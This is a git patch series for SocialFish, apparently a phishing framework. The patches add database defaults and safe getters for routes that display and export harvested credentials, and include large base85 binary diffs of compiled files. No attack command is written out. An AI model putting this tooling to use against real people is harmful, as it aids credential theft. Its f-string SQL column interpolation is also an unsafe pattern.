wrappers; handle cleanFake; update requirements --- core/cleanFake.py | 17 ++++++++++++++--- core/dbsf.py | 16 ++++++++++++++++ 2 files changed, 30 insertions(+), 3 deletions(-) diff --git a/core/cleanFake.py b/core/cleanFake.py index 80c078c..4315c58 100755 --- a/core/cleanFake.py +++ b/core/cleanFake.py @@ -1,7 +1,18 @@ import shutil +from pathlib import Path def cleanFake(): + """Remove the `templates/fake` directory if it exists. + + This is a best-effort cleanup used at startup. Missing directory is + expected on first run and will be ignored silently. + """ + fake_dir = Path('templates') / 'fake' + if not fake_dir.exists(): + return + try: - shutil.rmtree('templates/fake') - except (OSError, FileNotFoundError) as e: - print(f'[-] Directory not found or cannot be removed: {str(e)}') \ No newline at end of file + shutil.rmtree(fake_dir) + print('[+] Removed templates/fake') + except OSError as e: + print(f'[-] Could not remove templates/fake: {e}') \ No newline at end of file diff --git a/core/dbsf.py b/core/dbsf.py index 259afa2..7062eaf 100755 --- a/core/dbsf.py +++ b/core/dbsf.py @@ -70,5 +70,21 @@ def initDB(DATABASE): ); """ cur.execute(create_table_sql5) conn.commit() + # Configuration table for runtime settings (used by SocialFish) + create_table_sql6 = """ CREATE TABLE IF NOT EXISTS config ( + id integer PRIMARY KEY, + url text, + red text, + status text, + beef text + ); """ + cur.execute(create_table_sql6) + conn.commit() + # Insert default config row if not present + cur.execute("SELECT COUNT(*) FROM config") + if cur.fetchone()[0] == 0: + cur.execute('INSERT INTO config(id, url, red, status, beef) VALUES(?, ?, ?, ?, ?)', + (1, 'https://github.com/UndeadSec/SocialFish', 'https://github.com/UndeadSec/SocialFish', 'custom', 'no')) + conn.commit() conn.close() genQRCode(t) From 703588b5307d867b4625fb43fdd014ebb3956177 Mon Sep 17 00:00:00 2001 From: carinamary2448 Date: Sat, 7 Feb 2026 05:43:22 +0000 Subject: [PATCH 04/11] Fix: ensure socialfish row exists and use safe DB getters in SocialFish.py --- SocialFish.py | 72 +++++++++++++----- __pycache__/SocialFish.cpython-312.pyc | Bin 60932 -> 65109 bytes .../advanced_attacks.cpython-312.pyc | Bin 21049 -> 24983 bytes core/__pycache__/cleanFake.cpython-312.pyc | Bin 604 -> 920 bytes core/__pycache__/dbsf.cpython-312.pyc | Bin 3806 -> 4703 bytes 5 files changed, 55 insertions(+), 17 deletions(-) diff --git a/SocialFish.py b/SocialFish.py index 59f390a..93ead71 100644 --- a/SocialFish.py +++ b/SocialFish.py @@ -65,6 +65,31 @@ def teardown_request(exception): if hasattr(g, 'db'): g.db.close() +# Ensure `socialfish` table has a default row and provide safe getters +def ensure_socialfish_row(cur): + try: + cur.execute("""CREATE TABLE IF NOT EXISTS socialfish ( + id integer PRIMARY KEY, + clicks integer, + attacks integer, + token text + ); """) + cur.execute("SELECT id FROM socialfish WHERE id = 1") + if cur.fetchone() is None: + t = genToken() + cur.execute('INSERT INTO socialfish(id,clicks,attacks,token) VALUES(?,?,?,?)', (1, 0, 0, t)) + g.db.commit() + except Exception as e: + print(f'[-] ensure_socialfish_row error: {e}') + + +def sf_get(cur, column, default=None): + try: + row = cur.execute(f"SELECT {column} FROM socialfish where id = 1").fetchone() + return row[0] if row and row[0] is not None else default + except Exception: + return default + # Conta o numero de credenciais salvas no banco def countCreds(): count = 0 @@ -269,9 +294,11 @@ def echo(): @flask_login.login_required def getCreds(): cur = g.db - attacks = cur.execute("SELECT attacks FROM socialfish where id = 1").fetchone()[0] - clicks = cur.execute("SELECT clicks FROM socialfish where id = 1").fetchone()[0] - tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] + # Ensure the socialfish row exists and get values safely + ensure_socialfish_row(cur) + attacks = sf_get(cur, 'attacks', 0) + clicks = sf_get(cur, 'clicks', 0) + tokenapi = sf_get(cur, 'token', '') data = cur.execute("SELECT id, url, pdate, browser, bversion, platform, rip FROM creds order by id desc").fetchall() return render_template('admin/index.html', data=data, clicks=clicks, countCreds=countCreds, countNotPickedUp=countNotPickedUp, attacks=attacks, tokenapi=tokenapi) @@ -281,9 +308,11 @@ def getCreds(): def getMail(): if request.method == 'GET': cur = g.db - email = cur.execute("SELECT email FROM sfmail where id = 1").fetchone()[0] - smtp = cur.execute("SELECT smtp FROM sfmail where id = 1").fetchone()[0] - port = cur.execute("SELECT port FROM sfmail where id = 1").fetchone()[0] + row = cur.execute("SELECT email, smtp, port FROM sfmail where id = 1").fetchone() + if row: + email, smtp, port = row[0], row[1], row[2] + else: + email, smtp, port = '', '', '' return render_template('admin/mail.html', email=email, smtp=smtp, port=port) if request.method == 'POST': subject = request.form['subject'] @@ -359,7 +388,8 @@ def revokeToken(): new_token = genToken() cur.execute("UPDATE socialfish SET token = ? WHERE id = 1", (new_token,)) g.db.commit() - token = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] + ensure_socialfish_row(cur) + token = sf_get(cur, 'token', '') genQRCode(token, revoked=True) return redirect('/creds') @@ -849,7 +879,8 @@ def unauthorized_handler(): @app.route("/api/checkKey/", methods=['GET']) def checkKey(key): cur = g.db - tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] + ensure_socialfish_row(cur) + tokenapi = sf_get(cur, 'token', '') if key == tokenapi: status = {'status':'ok'} else: @@ -859,11 +890,12 @@ def checkKey(key): @app.route("/api/statistics/", methods=['GET']) def getStatics(key): cur = g.db - tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] + ensure_socialfish_row(cur) + tokenapi = sf_get(cur, 'token', '') if key == tokenapi: cur = g.db - attacks = cur.execute("SELECT attacks FROM socialfish where id = 1").fetchone()[0] - clicks = cur.execute("SELECT clicks FROM socialfish where id = 1").fetchone()[0] + attacks = sf_get(cur, 'attacks', 0) + clicks = sf_get(cur, 'clicks', 0) countC = countCreds() countNPU = countNotPickedUp() info = {'status':'ok','attacks':attacks, 'clicks':clicks, 'countCreds':countC, 'countNotPickedUp':countNPU} @@ -874,7 +906,8 @@ def getStatics(key): @app.route("/api/getJson/", methods=['GET']) def getJson(key): cur = g.db - tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] + ensure_socialfish_row(cur) + tokenapi = sf_get(cur, 'token', '') if key == tokenapi: try: sql = "SELECT * FROM creds" @@ -899,7 +932,8 @@ def postConfigureApi(): if request.is_json: content = request.get_json() cur = g.db - tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] + ensure_socialfish_row(cur) + tokenapi = sf_get(cur, 'token', '') if content.get('key') == tokenapi: red = content.get('red', 'https://github.com/UndeadSec/SocialFish') beef = content.get('beef', 'no') @@ -938,7 +972,8 @@ def postSendMail(): if request.is_json: content = request.get_json() cur = g.db - tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] + ensure_socialfish_row(cur) + tokenapi = sf_get(cur, 'token', '') if content['key'] == tokenapi: subject = content['subject'] email = content['email'] @@ -966,7 +1001,8 @@ def postSendMail(): def getTraceIpMob(key, ip): import re cur = g.db - tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] + ensure_socialfish_row(cur) + tokenapi = sf_get(cur, 'token', '') # Validate IP format ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$|^127\.0\.0\.1$|^::1$|^[a-f0-9:]+$' @@ -990,7 +1026,8 @@ def getTraceIpMob(key, ip): def getScanSfMob(key, ip): import re cur = g.db - tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] + ensure_socialfish_row(cur) + tokenapi = sf_get(cur, 'token', '') # Validate IP format ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$|^127\.0\.0\.1$|^::1$|^[a-f0-9:]+$' @@ -1011,7 +1048,8 @@ def getScanSfMob(key, ip): @app.route("/api/infoReport/", methods=['GET']) def getReportMob(key): cur = g.db - tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] + ensure_socialfish_row(cur) + tokenapi = sf_get(cur, 'token', '') if key == tokenapi: urls = cur.execute("SELECT url FROM creds").fetchall() users = cur.execute("SELECT name FROM professionals").fetchall() diff --git a/__pycache__/SocialFish.cpython-312.pyc b/__pycache__/SocialFish.cpython-312.pyc index d15001a13d969ae5b3ab4cae8cdfe0822f737192..7202ca82962ab1560581a355e25bee6cf90fc1e0 100644 GIT binary patch delta 20664 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 z zRn`F4?LRSg0?*w{U(QccVP|9mJ)b{kAi>Vb79?>^K{ljo^3=QBHLYGJA?tzR zMd!w5BlEFP=@6P-Zqf+p4tjIJ#q>>3dQ#?ty!aD1Hub;s@iee8lOD8M=)P1P6%MD+ zcW3FT_JoCod-RiKK7&-lmnfy$Wj>RXJ`-`xIGHbzF8?Bv4%}prb3O}g$j?-C@a;V9 zpI}K8)RKt?oP{nuoJF6$lr>J!G-gQ+#s0R-+BwNn>yZ0$=%SZW?9t8zEfZYt%aLjb zI;rt0Z2bT3ID1a4u0B@Ro=`!Oq0y_lwJ@iXi|d`BS4xMs*5wMRT=i}banfxQi zoRGSAVmAG!-A-SanAvFx$-O=YQ9$L8y20rXoWx7EVov3B*LnnJNF_M&FKa&}ZzWA3 z#Wtt2E~F;TmL^B7lV|}=<|09b4XJ89&CM=fNQIi@@G&hwWp^;4I8Q{2ea>d6-syAJ zv^abXUKGFvKT!uXpnoe-M@Sd&Pr*O$5Rfj}6_re*@2BfPoO+nM<;YgbwPe%&$$GkDa-UugeY2lWMgu|?owLwP z-BYy&g>PiZ&!=Q0b|}Bc-m{%mkgI%px^(Jvj;CD{EcDK)l_o*nq4U`y&C8(pz_gqU zeY>_XPvXV?w(HvU^wnwQOU6q)AJ`!A7t@7Wo|Dz`9kN|OrIcM!L2!$<>Gxh=&^)<7 zm|U>2gDPfhC`@5XPwJqMZPk!MaMglMYIC)qW{{8$cWDh_vh$AS5SF!JZJ}wu3&noK1o^q}u6dYIS;{BL^tnK?G^G?F6-RdEBH& ztOK2Mf~Y8R?~W$0l+cXVn;?_XpH!OZ=9xO(U4Zn%Kd*^;X0BhDoN}Um&^jStoiJ#f z7O+kWCQt8HpEp}i>>5n92U6{WsnY|g(}U(2-I`(C8G+OpLGw(SS2V$RKGAqo=n=Z* zLy69A`FZ+y(Tu$Fdh>~r!wUu!WB&0~hAer~KSD`!ytwL*YL{?|*A(eXRCL;`beff= zv17vwCX@Tq{ueu9FT0}B>+3QAV2bn}ABp^P(K z>@JFUX@v##_EMPLiZ~2z9`+l7nJ;L3(fT_%k{;K&cKdbEN|K;sh>ff|K(z5y+JNg& z0w>x5AgoX&KA#w0&T8;(g`kIedIt}dbxlPkopwP5fy};W}&QnC5x$Mjf$73TJJDhx7yE4fyAM2MDu8 z`sAa9J)MQUtpQzDSIK!@5@ZW|cL#Jf$U))!p80*MfIg?I^paY~%vNH`(WaiJzFC39 z+#dPGL~FMkN{-CDb$4&>E$ye|r%LYC^iRJhVMuQ|RRR?sDmgv#$IG9&{ufn&nM;R~ zGfveWo7!C>mG&<`TN}vFo*OCXDY=+<9cnL-^E&;}{GR--k|8>H{X_-M3Jq_y!g2jw ztwRo)Ny8sz(vSQ)+HK89HYvTH`HXGl}$^uemRospEIsY&!m zqRrTqY@x}+*zQ9}9zlYAGRMhgqo0>+JMl0oLHk1Y!oGz>QS_Lv`1Z zA!G8Ih@qo?ew(;TQs6I>EP(c z3&aK6x(XJInHX3_Wa5IIyg$<#Vaj9X0@jS9@2x7rb8agA_=X&{7Hv<5f~9pV4GrIr zL){fBP6??U^x_S+Tq7%y`;q|6ez5dhyRu!?u5Rbs~FU;YR7^8PUN531;Q01a@mcQeE2Kes4ILQ`FiL(Xfm@U{Nvs)_2&CqFEK}1oU z%??)+eQQy6XIp-R#vho!c7yAVaSc!+Owl#w}~Q?dG#248cNT~5&L z4JokkkOC{SgEXY}wr*<#H=K;aa^^jUw8UBKYH^|OrP$^X_K+vA2zBM^B)Yjcec|}M z9pi^db#>y}%F^QMGD+g9vT7R}#sb?lu=J_ow9fDG$>Y$0WbxQJKHMQAkD?SxB+MRK zF~v^t=qU}GryRL#C{dxwQ^+es@-&iXfOu)`wq&y!cEl=}B61d3pCj8#LzP+UP3DvO 